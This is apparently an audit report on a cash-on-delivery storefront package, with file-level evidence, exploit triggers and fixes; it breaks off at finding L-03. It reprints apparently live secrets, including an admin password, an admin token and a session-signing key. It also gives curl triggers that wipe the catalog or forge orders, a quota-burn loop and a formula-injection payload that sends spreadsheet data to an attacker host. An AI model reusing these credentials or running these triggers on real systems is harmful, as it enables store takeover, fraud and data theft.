FULL-STACK SECURITY AND QUALITY AUDIT

SOUM DECO

A defect-driven review of the soumdeco-magic replication package: 277 files spanning a Next.js storefront, a Google Apps Script backend, a Cloudflare Worker cache, and its automation pipeline, audited across security, business logic, and reliability.

26 findings · 6 critical · 5 high · 15 medium and low

Package under audit: soumdeco-magic (2).zip

Auditor: Z.ai · Principal Audit Series

AUDIT REF SD-2026-08-27

Table of Contents

1. Executive Summary

This report presents the results of a full-stack audit of the website package *soumdeco-magic (2).zip*, a self-contained replication kit for SOUM DECO, an Arabic-language cash-on-delivery home-decor storefront operating in Algeria. The package bundles a Next.js 15 front end, ten edge API routes, a Google Apps Script backend acting on a Google Sheet database, a Cloudflare Worker cache, a daily GitHub Actions image-sync pipeline, and full operational documentation. The audit was executed against a written audit prompt (delivered alongside this report as *super-prompt-website-audit.md*) that prescribes eight phases: inventory and threat modeling, secret exposure, authentication and authorization, business-logic integrity, injection and data handling, architecture and quota resilience, code and configuration quality, and verification with exploit construction.

26	6	5	15
Total findings	Critical	High severity	Medium and low

The headline conclusion is that the package, in its current state, must be treated as a full compromise of the live store it was built from. It ships every production secret needed to administer the real SOUM DECO deployment: the admin password, the Apps Script admin token, the HMAC session-signing key, a Telegram bot token, and the live backend endpoints (C-01). Worse, the admin password is also compiled into the public client bundle through a legacy fallback login check (C-02), and the backend's write authorization fails open in the exact configuration the project's own work log confirms is deployed (C-03). The practical effect is that any internet user who obtains this zip - or simply inspects the live site's JavaScript - can wipe the product catalog, inject products, and forge administrative sessions.

Beyond secrets, the commercial core of the application trusts the browser completely: order prices, shipping fees, and quantities are accepted as submitted and written verbatim into the order sheet (C-05), stock enforcement exists only in the UI and is bypassable (H-04), and orders that fail to save are hidden behind a guaranteed thank-you screen with at most one silent retry (H-03). Several availability weaknesses round out the picture: an unauthenticated refresh proxy that can exhaust the KV write quota within minutes (H-01), a GET-based order endpoint carrying customer PII in URLs with no spam protection (H-02), and a public unsigned image-upload preset that invites storage exhaustion (M-07).

The report is organized by severity. Each finding carries its exact file and line evidence, a concrete trigger or exploit, and a specific fix. Chapter 7 consolidates the fixes into a prioritized roadmap: everything in P0 should be executed before the site serves another customer, and the P0 list is small enough to complete in a single day. Chapter 8 records the areas that were explicitly examined and found sound, so that future audits do not need to re-derive them; the read-path resilience engineering, the server-side session cryptography, and the defensive cart handling are genuinely well built and deserve to be preserved through the remediation work.

2. Scope, Method and Evidence Base

The audited artifact is the 4.6 MB zip archive containing 277 files: 66 TypeScript/TSX source files under *src/*, a 1,439-line Google Apps Script backend (*apps-script.gs*), a 541-line Cloudflare Worker (*worker/data-sync.js*), 14 Python and 15 JavaScript automation and test scripts, 135 image assets, configuration for Cloudflare Pages and GitHub Actions, operational documentation including the project work log, and a SECRETS.txt file. All analysis was performed statically on the extracted archive, supplemented by execution of the package's own test suites and by targeted runtime checks of shipped data files.

The audit followed the eight-phase protocol defined in the audit prompt. Phase 0 mapped every runtime surface (pages, edge routes, the Apps Script dispatcher, the Worker, the cron pipeline) and drew the trust-boundary map that guided later phases. Phase 1 inventoried every secret in every file type and traced each one to its exposure path - most importantly, whether it reaches the client bundle. Phases 2 and 3 walked every state-changing endpoint and every money-critical data flow (price, quantity, stock, order persistence) asking two questions at each hop: who validates this, and what happens when validation is absent. Phase 4 examined injection surfaces, image handling, and PII transportation. Phase 5 checked the fallback chains, cache TTLs, timeout discipline, and free-tier quota arithmetic against the package's own traffic claims. Phases 6 and 7 verified documentation claims against code, scanned for dead surface, ran the complete test suite, syntax-checked the Apps Script, validated all shipped JSON data files, and constructed a minimal trigger for every suspected flaw.

Every finding in this report was confirmed by reading the actual code path end to end; none is speculative. Severity follows exploitability and blast radius: findings that let a stranger destroy or take over the live store are Critical; findings that corrupt money, data, or availability are High; latent defects and documentation hazards are Medium and Low. Where the project's own documentation makes a claim that the code contradicts, the contradiction is itself recorded as a finding, because this package's purpose is to be operated by a non-expert owner who will trust those claims.

3. Critical Findings

These six findings are exploitable today, without skill or special access, against the live deployment the package was cut from. Any one of them justifies taking the store offline until remediated; together they mean the deployment should be considered fully compromised and every shipped credential rotated before the site serves another customer.

C-01 All live production secrets are shipped inside the replication package

Severity	Critical	Confidence	Confirmed
Location	SECRETS.txt:7-22; src/app/api/admin/route.ts:36-40; src/app/api/refresh/route.ts:20; wrangler.toml (KV id); src/lib/telegram-notify.ts:29-30; src/lib/sheet.ts:8-9		

```
SECRETS.txt:  ADMIN_PASSWORD = dimou2411@dz
              APPS_SCRIPT_ADMIN_TOKEN = sd_atk_6oyCjTznJlm56y6eYvwL7Xyf
              SESSION_SIGNING_KEY = sd_ssk_3HjZnIVHNkew1okrFdc3EQ9Fny5CdmnU
admin/route.ts: const APPS_SCRIPT_URL =
  'https://script.google.com/macros/s/AKfycbxW...44rV/exec';
telegram-notify.ts: const FALLBACK_BOT_TOKEN = '8992415134:AAED...dOulE';
```

Why it is a flaw. The package is presented as a brand-replication kit, but it contains the REAL credentials of the live SOUM DECO deployment: the admin password, the Apps Script admin token, the HMAC session-signing key, the live Apps Script deployment URL, the Cloudflare Worker URL, the KV namespace id, the Cloudinary cloud name, and a Telegram bot token. Anyone who obtains this zip can authenticate as the store administrator on the live site and silently sign valid admin sessions with the leaked signing key.

Impact. Complete administrative takeover of the live store: catalog wipe or manipulation, fake product injection, order tampering, and permanent session forgery (the signing key never expires). The Telegram bot can also be abused to spam or impersonate the store owner.

Trigger / exploitation. Open SECRETS.txt (values also greppable in source), browse to the live site, open /#admin, log in with the shipped password. Alternatively forge a session token offline using the leaked SESSION_SIGNING_KEY.

Required fix. Treat every shipped secret as compromised and rotate all of them immediately (new password, new admin token, new signing key, new Telegram bot via BotFather, redeploy a NEW Apps Script deployment URL). Then remove SECRETS.txt from the package, strip hardcoded values from source, and inject them exclusively through environment variables at build/deploy time.

C-02 Admin password is embedded in the public client JavaScript bundle

Severity	Critical	Confidence	Confirmed
Location	src/lib/brand-config.ts:17; src/components/site/admin-panel.tsx:26-29 and 171-183; src/app/page.tsx:20 (static import)		

```
brand-config.ts:17:  adminPassword: "dimou2411@dz",
admin-panel.tsx:29:  const ADMIN_PASSWORD = BRAND.adminPassword;
admin-panel.tsx:177 (login fallback):
  if (value === ADMIN_PASSWORD) { sessionStorage.setItem(SESSION_KEY,"1"); onAuthed(); }
page.tsx statically imports AdminPanel into the client bundle.
```

Why it is a flaw. brand-config.ts is imported by many client components (hero, footer, menu, order form), and admin-panel.tsx reads the password from it for a client-side fallback login check. Because page.tsx statically imports AdminPanel, the plaintext password is compiled into the public JavaScript that every visitor downloads. This directly contradicts the package claims in SECRETS.txt and README (which state the password never appears in the client bundle), and those claims are demonstrably false.

Impact. Any visitor can extract the admin password from the browser devtools network tab or the JS sources, then log into the admin panel and obtain the Apps Script admin token, achieving full write access without any additional exploit.

Trigger / exploitation. Open the deployed site, view the JS chunk containing admin-panel code (search for the brand-config password constant), copy the password, open /#admin, log in.

Required fix. Remove the password from brand-config.ts entirely. Delete the client-side password fallback in PasswordGate (fail closed instead). Serve the login check exclusively through /api/admin so the password only ever exists server-side.

C-03 Apps Script write authorization fails OPEN, and the token is confirmed unset

Severity	Critical	Confidence	Confirmed
Location	apps-script.gs:85-100 (isAuthorized_), 114-124 (protected actions); WORKLOG.md final entries		

```
function isAuthorized_(e) {
  var token = getAdminToken_();
  if (!token) return true; // If no token set, allow all (backwards compat)
  ...
  return provided === token;
}
WORKLOG.md: 'Direct Apps Script without token: allowed (backwards compat -
             no token set yet)'  [verified in live deployment]
```

Why it is a flaw. The authorization check for all write operations (product_create, product_update, product_delete, product_reset, dedupe, cleanup) returns TRUE for everyone when the ADMIN_TOKEN property is not configured. The project's own WORKLOG explicitly records that the live deployment was left in exactly this state. The Apps Script URL is public (hardcoded in client-shipped code, see C-01), so the two conditions combine into unauthenticated remote write access. Additionally, the token comparison uses plain equality, not the constant-time comparison claimed by the security notes.

Impact. Any anonymous internet user can send GET requests that wipe the entire product catalog (product_reset), delete arbitrary products, inject fake or harmful products, or trigger maintenance actions - against the live store, from a single URL. This is a destructive, zero-skill attack.

Trigger / exploitation. curl '?action=product_reset' -L (the whole catalog is deleted with one unauthenticated request).

Required fix. Invert the fail-open logic: if the token is not configured, reject all writes. Run setAdminToken_ immediately on the live deployment. Use a constant-time comparison, and move the token out of URL parameters into the X-Admin-Token header only.

C-04 Unauthenticated write proxies in /api/products (and false success reporting)

Severity	Critical	Confidence	Confirmed
Location	src/app/api/products/route.ts:132-261 (POST + DELETE); src/lib/sheet.ts:96-149 (sheetUpsertProduct / sheetDeleteProduct / sheetResetProducts)		

```
POST /api/products (no session, no token check):
  if (action === 'reset') { ok = await sheetResetProducts(); ... }
sheet.ts: const url = `${base}?action=product_create`;   // no admin_token
sheet.ts: return res.ok;   // Apps Script returns HTTP 200
        // even for {ok:false, error:'unauthorized'} -> FALSE SUCCESS
```

Why it is a flaw. The legacy /api/products route forwards product create/update/delete/reset to the Apps Script without attaching any admin token and without validating any session. Two failure modes follow. (1) While the Apps Script token is unset (current live state, see C-03), anyone can drive catalog writes through this route with a simple same-origin POST - no CORS obstacle at all. (2) Once the token is set, the Apps Script rejects the write with HTTP 200 + {ok:false, error:'unauthorized'}, but sheet.ts only checks the HTTP status, so the route reports ok:true to the caller - a silent data-loss bug that would hide every failed admin save routed through it.

Impact. Unauthenticated catalog manipulation today; silent save failures and data loss after the token is enforced. In both states the endpoint is a live liability.

Trigger / exploitation. curl -X POST 'https:///api/products?action=reset' (today: wipes catalog via fail-open backend); after token enforcement the same call returns ok:true while nothing is saved.

Required fix. Delete the write methods (POST/DELETE) from /api/products or gate them behind the same session validation used by /api/admin. Make sheet.ts parse the JSON body and propagate Apps Script ok:false as a failure.

C-05 Order prices, shipping and quantities are client-supplied and never validated

Severity	Critical	Confidence	Confirmed
Location	src/components/site/cod-order-form.tsx:462-477; src/app/api/order/route.ts:35-51; apps-script.gs:661-694 (doCreateOrderFromParams)		

```
order/route.ts: forwards body.price, body.shippingPrice, body.grandTotal
  with only a phone-format check - no catalog lookup, no price check.
apps-script.gs: Number(p.quantity) || 1      // accepts negative numbers
                Number(p.grandTotal) || 0      // accepts 0 / attacker value
                sheet.appendRow([...price, shipping, total...])
```

Why it is a flaw. The unit price, shipping price, grand total and quantity of every order are computed in the browser and accepted verbatim by the edge route and the Apps Script. Neither layer re-checks the values against the product catalog. Quantity is not even range-checked: a crafted request can submit quantity = -50 or 9999, and any total can be attached to any product. For a cash-on-delivery store, the sheet row is the operational source of truth that the owner uses to prepare deliveries and collect money.

Impact. Order-integrity fraud: an attacker (or a tampered client) can place COD orders whose recorded totals, quantities and shipping fees bear no relation to reality - for example a 1 DZD total for a 15,000 DZD product - directly corrupting revenue records and enabling social-engineering at the door.

Trigger / exploitation. curl -X POST https:///api/order -d '{"product":"...","price":1,"quantity":-50,"grandTotal":1,...}' -H 'Content-Type: application/json' (or simply call the Apps Script order endpoint directly - it is public).

Required fix. Validate server-side: look the product up in the catalog, recompute price x quantity + shipping from authoritative data, clamp quantity to 1-99, and reject mismatches. The same validation must exist inside doCreateOrderFromParams because that endpoint is publicly reachable.

C-06 Telegram bot token hardcoded in a client-shipped module

Severity	Critical	Confidence	Confirmed
Location	src/lib/telegram-notify.ts:29-30; imported by src/components/site/cod-order-form.tsx:535		

```
// HARDCODED FALLBACK ... Safe to be in the client bundle.
const FALLBACK_BOT_TOKEN = '8992415134:AAED...XdOulE';
const FALLBACK_CHAT_ID   = '1913149719';
cod-order-form.ts (client) -> import('@/lib/telegram-notify')
```

Why it is a flaw. A real Telegram bot token is hardcoded as a 'fallback' in a module that is dynamically imported by client code, so it ships in the public bundle. The source comment claims it is safe because the bot can only message one chat, but a leaked bot token allows an attacker to call any Bot API method the token permits: send unlimited messages to the owner (spam or phishing under the bot identity), read getUpdates (message history sent to the bot), and modify the bot profile. The claim in the comment is a security assumption, not an enforced restriction.

Impact. Token extraction from any visitor's browser; spam and phishing delivered through the store's own bot; potential leakage of messages sent to the bot.

Trigger / exploitation. Open the deployed site JS bundle, search for 'api.telegram.org' or the token pattern, extract the token, call https://api.telegram.org/bot/sendMessage.

Required fix. Remove the hardcoded token, revoke it via BotFather immediately, and send notifications server-side (from the edge route or the Worker) where the token stays secret.

4. High-Severity Findings

These findings either corrupt the store's money and order data or deny service to its customers under realistic conditions. They do not require the package's secrets, only ordinary access to the public site or its endpoints.

H-01 /api/refresh is an unauthenticated quota-burn trigger against the Worker

Severity	High	Confidence	Confirmed

Location	src/app/api/refresh/route.ts:17-31 (adds the secret itself, validates nobody); worker/data-sync.js:114-157, 366-476 (rate limit + syncData writes)

```
refresh/route.ts: const ADMIN_SECRET = 'dimou2411@dz'; // added server-side
  -> POST /api/refresh requires NO credentials from the caller
worker: rate limit = 1 refresh / 3 seconds (COOLDOWN_MS = 3_000)
syncData(): writes products + stock + __hashes + __meta to KV per sync
```

Why it is a flaw. The refresh proxy forwards the admin secret to the Worker on behalf of any caller, without authenticating the caller. The Worker's only defense is a 3-second cooldown, which still permits roughly 28,800 forced syncs per day. Each successful sync performs up to 4-5 KV writes (products, stock, hashes, meta), while the Cloudflare free tier allows only 1,000 KV writes per day. A trivial loop can therefore consume the entire daily KV write quota in minutes, after which the 5-minute cron can no longer update meta or data.

Impact. Catalog-freshness denial of service: product and stock updates stop propagating to visitors (KV entries expire after 1 hour, then the site serves day-old static JSON), while the admin sees syncs 'succeed'. Quiet, cheap, and easy to sustain.

Trigger / exploitation. while true; do curl -X POST https:///api/refresh; sleep 3; done - KV write quota exhausted within roughly 10-15 minutes.

Required fix. Require the admin session (the same HMAC session used by /api/admin write) before proxying the refresh, and raise the Worker-side cooldown for unauthenticated-triggered syncs to minutes rather than seconds.

H-02 Customer PII is submitted through GET URLs to a third-party domain, with no spam protection

Severity	High	Confidence	Confirmed
Location	src/lib/client-sheet.ts:626-740 (clientSubmitOrder builds URL params); src/lib/sheet.ts:154-209; apps-script.gs:109 (GET ?action=order)		

```
params.set('fullName', ...); params.set('phone', ...);
params.set('commune', ...); params.set('notes', ...);
const url = `${base}?${params.toString()}`;  // script.google.com
fetch(url, { method: 'GET' })  // state change over GET, no captcha
```

Why it is a flaw. Orders (full name, phone number, commune, delivery notes) are transmitted as URL query parameters on GET requests to script.google.com. URLs are recorded in browser history, intermediate proxy logs, and server-side logs at multiple hops - a poor fit for personal data, and at odds with the package's own security posture. Because order creation is a GET with no authentication, captcha or rate limit, it is also trivially spam-able cross-site: a single image tag referencing the order URL, embedded anywhere, places an order in the owner's sheet.

Impact. PII exposure through logs and history; order-sheet flooding that buries real orders; Apps Script's 20,000 requests/day quota can be exhausted by a trivial script, blocking all real orders site-wide.

Trigger / exploitation. Embed the Apps Script order URL as an image source on any web page - every page view appends a fake order row to the store's sheet.

Required fix. Move order submission to POST with a JSON body (the Apps Script doPost already exists), add a lightweight anti-spam control (honeypot field, per-IP rate limit in the Worker, or Turnstile), and stop placing PII in URLs.

H-03 Failed orders are silently swallowed: guaranteed thank-you screen, one retry, no admin visibility

Severity	High	Confidence	Confirmed
Location	src/components/site/cod-order-form.tsx:479-557 (always shows thank-you); src/lib/failed-orders.ts:25, 129-163 (MAX_RETRIES = 1, queue kept forever); src/app/api/order/route.ts:53-74 (returns ok:true on failure)		

```
order/route.ts: // We still return ok:true to the customer
  return NextResponse.json({ ok: true, warning: 'order_queued' });
failed-orders.ts: const MAX_RETRIES = 1;
  if (retryCount >= MAX_RETRIES) { stillFailed.push(order); continue; }
  // no admin UI reads this queue anywhere in the codebase
```

Why it is a flaw. When an order fails to reach the Google Sheet, the customer is shown a thank-you screen regardless, and the /api/order route itself returns ok:true on failure. The retry queue attempts a single resubmission on the next page visit; after that the order sits permanently in localStorage with no surfacing anywhere in the admin panel. The Telegram notification also fires even when the submission failed, so the owner receives a 'new order' ping for an order that does not exist in the sheet.

Impact. Direct revenue loss and trust damage: paid-marketing traffic that converts during an Apps Script outage produces orders that will never be fulfilled, and the customer has no way to know. The false Telegram alert makes the problem worse by signaling success.

Trigger / exploitation. Take the Apps Script offline (or block it), place an order, close the browser. The order is unreachable - stored only in that browser's localStorage, retried at most once, never shown to the admin.

Required fix. Return an honest failure to the customer with a retry action; surface the failed-order queue in the admin panel; only send the Telegram notification after a confirmed sheet write; add a server-side dead-letter path (for example, the Worker logging failed orders to KV).

H-04 Stock can be oversold: all four prevention layers are client-side, decrement is deferred

Severity	High	Confidence	Confirmed
Location	src/components/site/checkout-modal.tsx (variant check); apps-script.gs:1146-1177 (decrement only when admin sets Confirmed), 550-553 and 1115-1116 (multi-item orders skipped)		

```
apps-script.gs: if (productName.indexOf('+') >= 0) { skipped++; continue; }
  // multi-item orders NEVER stock-sync (documented limitation)
// stock decremented only when status -> confirmed/shipped/delivered
// all 'rupture' checks (button disable, cart clear, checkout block)
// run in the browser and are bypassable by direct API calls
```

Why it is a flaw. Stock is not reserved at order time; it is decremented only when the store owner later flips the order status to Confirmed. Every guard that prevents ordering an out-of-stock item runs in the browser (disabled buttons, cart pruning, checkout blocking), and the public order endpoint performs no stock check at all. Between order placement and confirmation, any number of concurrent orders can exceed the remaining stock, and multi-item orders (whose product field contains a plus sign) are never stock-synced at all by explicit design.

Impact. Overselling: customers order and pay on delivery for items that are no longer in stock, creating refunds, re-deliveries and reputational damage; inventory silently drifts from reality for multi-item orders.

Trigger / exploitation. Open two sessions, both order the last in-stock unit before the admin confirms either order; both succeed. Or call the order endpoint directly several times ignoring the UI entirely.

Required fix. Add a server-side stock check (and ideally a soft reservation) in doCreateOrderFromParams, and split multi-item orders into per-item rows so the stock trigger can process them.

H-05 Admin login can be brute-forced, and the UI gate is bypassable via sessionStorage

Severity	High	Confidence	Confirmed
Location	src/app/api/admin/route.ts:127-163 (no rate limit, no lockout); src/components/site/admin-panel.tsx:1483 (sessionStorage flag = auth)		

```
admin/route.ts login action: constant-time compare, but
  no attempt counter, no IP throttle, no lockout, no captcha
admin-panel.tsx:1483:
  if (sessionStorage.getItem(SESSION_KEY) === '1') setAuthed(true);
  // SESSION_KEY = 'soumdeco_admin_authed' - settable from devtools
```

Why it is a flaw. The login endpoint applies constant-time comparison but nothing else: an attacker can attempt unlimited passwords at full speed. Separately, the panel treats the sessionStorage flag 'soumdeco_admin_authed = 1' as proof of authentication for the UI, and this flag is trivially set from the browser console. The panel then renders with full editing capabilities; writes still require the admin token, but

with C-02 the token is one login away, and the flag bypass exposes the panel surface (product data, stock values, image preview) to anyone.

Impact. Practical brute-force of weak passwords (the shipped one is a dictionary word plus digits), and unauthenticated access to the admin panel UI and its data displays.

Trigger / exploitation. Loop POST /api/admin {action:'login', password:} - unlimited attempts. Or: sessionStorage.setItem('soumdeco_admin_authed','1') then open /#admin.

Required fix. Add per-IP and per-account rate limiting with exponential backoff on the login action; replace the '1' flag with validation of the signed session token before rendering the panel.

5. Medium-Severity Findings

These findings degrade integrity, mislead the operator, or enlarge the attack surface without granting immediate destruction. Several of them are load-bearing for the replication package's stated purpose: a buyer of this kit will follow documentation that is wrong, run tests that do not test the shipped code, and inherit dependencies the site never uses.

M-01 Google Sheets formula injection through customer-controlled order fields

Severity	Medium	Confidence	Confirmed
Location	apps-script.gs:684-692 (appendRow with raw p.fullName / p.notes / p.wilaya / p.commune)		

```
sheet.appendRow([ new Date(), 'New', productStr, ...,
  p.fullName || '', p.phone || '', p.wilaya || '', p.commune || '',
  ..., notesStr, variantStr, stockKeyStr, '' ]);
// no sanitization: a fullName of '=IMPORTXML(...)' becomes a live formula
```

Why it is a flaw. Values typed by the customer are written verbatim into spreadsheet cells. Google Sheets interprets any cell value that begins with '=', '+', '-' or '@' as a formula when written through appendRow. A malicious customer can therefore submit a name or note such as =IMPORTXML("http://attacker/","//a") or =HYPERLINK(...) and have it execute inside the store owner's spreadsheet the moment the sheet recalculates or the owner clicks it.

Impact. Data exfiltration from the spreadsheet, misleading links presented to the owner inside their own operational tool, and potential propagation if the sheet is later exported.

Trigger / exploitation. Place an order with fullName = '=IMPORTXML("http://evil.example/?x="&A2;,"//")'. When the owner opens the Orders tab, the formula fetches attacker URLs with cell content appended.

Required fix. Sanitize all user-supplied values before appendRow: prefix dangerous leading characters with an apostrophe, or store an underscore-prefixed copy and strip it in any downstream processing.

M-02 Documentation and configuration contradict the shipped code

Severity	Medium	Confidence	Confirmed
Location	README.md (Next.js 16, '6-layer defense', 'never in client bundle'); package.json:3,60 (next 15.5.2, scaffold name); wrangler.toml comment ('3-minute TTL') vs worker/data-sync.js:83 (KV_TTL_SECONDS = 3600)		

```
README.md: 'Next.js 16 + TypeScript + Tailwind 4'
package.json: "next": "^15.5.2", "name": "nextjs_tailwind_shadcn_ts"
wrangler.toml: 'KV namespace - Product + Stock cache (3-minute TTL)'
worker/data-sync.js: const KV_TTL_SECONDS = 3600;  // actually 1 hour
```

Why it is a flaw. Multiple factual claims in the documentation are false against the code that ships next to them: the framework version, the security guarantees (see C-02), the cache TTL, and the project identity (the package.json name is still the generic scaffold name). For a package whose explicit purpose is to let a non-expert replicate and operate the site, wrong operational documentation is not cosmetic - it drives wrong setup decisions and wrong incident response.

Impact. Operators tune freshness and debugging expectations against wrong numbers; security assumptions are misplaced (the strongest claims are the false ones); brand confusion in tooling.

Trigger / exploitation. Direct comparison of README/wrangler comments with package.json and worker code.

Required fix. Correct the README and wrangler comments, rename the package, and add a CI check that greps docs for version claims against package.json.

M-03 /api/shipping calls an Apps Script action that does not exist

Severity	Medium	Confidence	Confirmed
Location	src/app/api/shipping/route.ts:9-20 (calls ?action=shipping); apps-script.gs:102-128 (doGet has no 'shipping' branch)		

```
shipping/route.ts: const url = `${base}?action=shipping`;
apps-script.gs doGet: handles stock | products | order | health |
  statistics | process_confirmed | product_delete | product_reset |
  dedupe | cleanup  -> 'shipping' falls to 'unknown action'
Response: {ok:false, error:'unknown action: shipping'} -> parsed as []
```

Why it is a flaw. The shipping route requests an action the backend never implements, so the endpoint can only ever return an empty shipping list with source 'sheet'. The real shipping prices live in a hardcoded table in src/lib/shipping.ts, which the frontend uses directly. This is dead integration code that looks alive: it returns HTTP 200, reports source 'sheet', and silently masks the fact that the sheet was never consulted.

Impact. No functional impact today (the hardcoded table carries the site), but the endpoint misleads operators into believing shipping prices are sheet-driven; any future edit to the sheet will never reach customers.

Trigger / exploitation. curl https:///api/shipping - always returns an empty array despite a populated Sheet.

Required fix. Either implement a shipping tab in the Apps Script or delete the route and document that shipping prices are code-owned constants.

M-04 TypeScript build errors are silently ignored

Severity	Medium	Confidence	Confirmed
Location	next.config.ts:5-8 (typescript.ignoreBuildErrors = true); tsconfig.json (noImplicitAny = false)		

```
next.config.ts: typescript: { ignoreBuildErrors: true },
tsconfig.json: "noImplicitAny": false,
// the project's own docs/CODE-AUDIT-REPORT.md flagged this as P1
// in a previous internal audit - still present in this package
```

Why it is a flaw. The build is configured to ignore TypeScript errors entirely, and implicit-any is permitted. Combined with the large amount of untyped 'any' handling in data-normalization paths (normalizeSheetProduct and friends), type regressions in the money-critical order flow can ship to production invisibly. The project's own internal audit already flagged this and the flag was never removed.

Impact. Latent runtime defects in production (the exact class of bug the type system exists to catch), and a false sense of safety from 'TypeScript: 0 errors' claims in the WORKLOG.

Trigger / exploitation. Introduce a type error in any source file and run the production build - it succeeds.

Required fix. Remove ignoreBuildErrors, set noImplicitAny true, and fix the resulting errors incrementally (start with lib/ and api/ where money flows).

M-05 Test suite validates a mirror copy of the logic, and one verifier is machine-bound

Severity	Medium	Confidence	Confirmed
Location	scripts/test-comprehensive.js:54-100 (re-implemented parseVariantContent_ etc.); scripts/verify-apps-script.js:8-11 (hardcoded absolute paths)		

```
// MIRROR OF apps-script.gs HELPERS (extraction + decrement)
function parseVariantContent(content) { ... }  // copied by hand
verify-apps-script.js:
  const files = ['/home/z/my-project/download/apps-script.gs',
                 '/home/z/my-project/upload/apps-script.gs'];
```

Why it is a flaw. The 212 'comprehensive' checks run against a hand-copied duplicate of the Apps Script helper functions, not against the shipped apps-script.gs. If the real file drifts from the mirror, the suite keeps passing while production behavior changes. Additionally, verify-apps-script.js reads hardcoded absolute paths from the original developer's machine, so the 'syntax check' step fails for every other user of the package (confirmed during this audit: the script crashed with ENOENT).

Impact. False confidence: green tests do not describe shipped behavior; a broken replication workflow for the new owner (the README instructs running this verifier as step one).

Trigger / exploitation. Change a stock-key separator in apps-script.gs but not in the test mirror - all 212 checks still pass. Run node scripts/verify-apps-script.js on any machine other than the original author's - it throws.

Required fix. Load the .gs file at runtime in the tests (parse once, extract the functions) and resolve paths relative to the script directory (__dirname/..).

M-06 Thirteen-plus unused heavyweight dependencies inflate attack surface and build time

Severity	Medium	Confidence	Confirmed
Location	package.json:16-98; verified by import scan of src/		

```
next-auth, @tanstack/react-query, @tanstack/react-table, recharts,
@mdxeditor/editor, @dnd-kit/* (3 pkgs), react-syntax-highlighter,
next-intl, uuid, date-fns, input-otp, vaul, embla-carousel-react,
z-ai-web-dev-sdk  -> zero imports anywhere in src/
prisma + @prisma/client: only referenced by the unused src/lib/db.ts
```

Why it is a flaw. Roughly a third of the 64 declared dependencies are never imported by any shipped code (left over from the scaffold). Each unused package still gets installed, audited, and bundled-scanned, enlarging the dependency graph that a supply-chain attack can hide in, slowing every build, and confusing the next maintainer about what the site actually needs. The README presents '64 packages' as a feature rather than a liability.

Impact. Larger install/build surface, slower CI, more CVE noise, and a misleading dependency inventory for the replication package.

Trigger / exploitation. rg -l '' src/ returns nothing for each listed dependency.

Required fix. Remove the unused dependencies (and src/lib/db.ts with prisma) from package.json; keep only what the bundle actually imports.

M-07 Public unsigned Cloudinary preset allows anyone to fill the image storage quota

Severity	Medium	Confidence	Confirmed
Location	src/lib/client-sheet.ts:468-560 (clientUploadImage, unsigned upload); .env.example (NEXT_PUBLIC_CLOUDINARY_*); README Step 3		

```
formData.append('upload_preset', UPLOAD_PRESET); // 'soumdeco'
// unsigned upload - by design, so the browser can upload directly
// cloud name 'anhvhy4j' is public in the client bundle
```

Why it is a flaw. The image pipeline relies on an unsigned upload preset, meaning the Cloudinary account accepts uploads from anyone who knows the public cloud name and preset - both of which ship in the client bundle and the README. There is no server-side gate, no file-type check beyond Cloudinary's defaults, and no rate limit. The 25 GB free-tier storage that the product images depend on can be consumed by a script in an afternoon.

Impact. Storage-exhaustion attack: once the quota is hit, the admin can no longer upload product images and the daily image sync pipeline breaks, degrading the storefront over time.

Trigger / exploitation. Loop POST https://api.cloudinary.com/v1_1/anhvhy4j/image/upload with the public preset and arbitrary files until the account is full.

Required fix. Switch to signed uploads from an edge route (the signing secret stays server-side), enforce file type and size limits, and set a Cloudinary upload-rate alert.

M-08 Worker CORS allowlist omits custom domains, and /refresh throttling is keyed to cron activity

Severity	Medium	Confidence	Likely
Location	worker/data-sync.js:41-47 (ALLOWED_ORIGINS), 130-145 (rate limit reads __meta.lastSyncAttempt)		

```
const ALLOWED_ORIGINS = new Set([
  'https://soumdeco.pages.dev', 'https://www.soumdeco.pages.dev',
  'http://localhost:3000', 'http://127.0.0.1:3000', ]);
// refresh cooldown reads meta.lastSyncAttempt - also written by cron
```

Why it is a flaw. The Worker only allows the pages.dev hostnames and localhost. If the store is ever moved to a custom domain (a natural next step for a real shop), direct browser calls to the Worker - health checks in the admin panel - will fail CORS. Separately, the /refresh cooldown compares against lastSyncAttempt, which the 5-minute cron also updates, so an admin refresh issued shortly after a cron run is spuriously rejected as rate-limited; the client masks this as success.

Impact. Broken worker health/status panel on any future custom domain; occasional silently-ignored manual refreshes that confuse admin workflows.

Trigger / exploitation. Call /api/refresh within 3 seconds of a cron sync - returns rate_limited although the caller did nothing wrong.

Required fix. Add the production custom domain to the allowlist (or read it from env), and track the last manual refresh in a separate KV key from cron updates.

6. Low-Severity Findings

These are correctness and hygiene defects with narrow blast radius. They are recorded because each has been verified to occur under realistic conditions, and because two of them (legacy stock keys and the quantity-suffix regex) will quietly corrupt inventory records over time.

L-01 Quantity-stripping regex can truncate legitimate product names ending in 'x' + digits

Severity	Low	Confidence	Confirmed
Location	apps-script.gs:313, 557, 1118 (regex: strip trailing 'x' or multiplication sign + digits)		

```
var bareName = productName.replace(/\s*[x\u00d7]\s*\d+\s*$/, '').trim();
// a product genuinely named 'Pack x2' is reduced to 'Pack'
// -> stock key no longer matches the Stock tab row 'Pack x2'
```

Why it is a flaw. Order rows store quantities as a suffix (for example 'Product x3'), and the backend strips that suffix with a broad regex before matching stock keys. Any product whose real name ends with 'x' followed by digits (sizes like 'x2', model numbers like 'Table x4') gets truncated, so its stock row never matches and its inventory is never decremented.

Impact. Silent stock drift for affected products; the out-of-stock display and the sheet disagree over time.

Trigger / exploitation. Create a product named 'Pack x2', sell it, confirm the order - the 'Pack x2' Stock row is untouched.

Required fix. Send quantity as a separate sheet field (it already exists) and stop encoding it into the product name; keep the stripping only as a legacy fallback for old rows.

L-02 process_confirmed and statistics are public unauthenticated actions

Severity	Low	Confidence	Confirmed
Location	apps-script.gs:111-112 (public section of doGet)		

```
if (action === 'statistics') return setupStatistics();
if (action === 'process_confirmed') return doProcessConfirmedFromUrl();
// both mutate/rebuild the spreadsheet - no isAuthorized_ check
```

Why it is a flaw. Two write-capable actions sit in the public section of the dispatcher, contradicting the file's own 'writes require token' rule. process_confirmed scans and batch-writes the Orders and Stock tabs; statistics clears and rebuilds the Statistics tab. They are abusable as load generators against the Apps Script quota and can interfere with the owner's spreadsheet state.

Impact. Remote-triggered heavy sheet operations; quota burn; nuisance rebuilds of the Statistics tab.

Trigger / exploitation. curl '?action=statistics' repeatedly - the Statistics sheet is cleared and rebuilt each time.

Required fix. Move both actions behind isAuthorized_ and keep them menu-only.

L-03 Arabic-primary store renders inside an LTR document root

Severity	Low	Confidence	Confirmed
